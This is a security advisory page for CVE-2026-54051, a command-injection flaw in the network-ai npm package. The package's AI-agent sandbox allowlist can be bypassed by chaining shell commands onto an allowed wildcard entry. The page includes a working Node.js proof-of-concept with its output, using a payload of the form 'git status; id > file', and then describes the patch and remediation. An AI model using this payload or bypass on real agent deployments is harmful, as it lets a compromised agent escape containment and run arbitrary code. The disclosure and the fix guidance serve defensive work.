CVE-2026-54051 is a critical-severity (CVSS 9.9) OS Command Injection vulnerability in network-ai. A fix is available for network-ai — see the affected versions and patch details below.
Network-AI has an an OS Command Injection issue
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-54051.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-54051 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
network-ainpmDescription
Summary
The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; <anything>, and a scoped command becomes arbitrary execution.
Root cause
Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).
isCommandAllowedmatches the full string, with no tokenizing and no metacharacter check:
globMatchcompiles*to.*and anchors it, sogit *becomes^git .*$and matchesgit status; id:
ShellExecutor.executeonly checksisCommandAllowed, neverrequiresApproval:
spawnCommandruns the approved string via/bin/sh -c, so;,|and$(...)are interpreted by the shell:
Reachability
Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.
PoC
Installs [email protected], allows git *, then runs git status; id > marker.
The allowlist accepts it and the injected id runs.
Run: npm i [email protected] && node poc-316.js
'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');
(async () => {
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));
const marker = path.join(base, 'PWNED-316.txt');
const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });
const sh = new ShellExecutor(policy);
const payload = `git status; id > ${marker}; echo INJECTED`;
console.log('version:', require('network-ai/package.json').version);
console.log('allowed:', policy.isCommandAllowed(payload));
await sh.execute(payload);
const ran = fs.existsSync(marker);
console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');
console.log(ran ? 'VULNERABLE' : 'not reproduced');
process.exit(ran ? 0 : 1);
})().catch(err => { console.error(err); process.exit(3); });
Output:
version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE
Impact
Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.
Possible fix
Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.
Patch
Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.
Remediation: upgrade to [email protected] or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm * which are direct code execution by design.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | network-ai | all versions | 5.9.1npm install network-ai@5.9.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for network-ai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update network-ai to 5.9.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-54051 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-54051 in your dependencies?
Find it across npm, including transitive dependencies.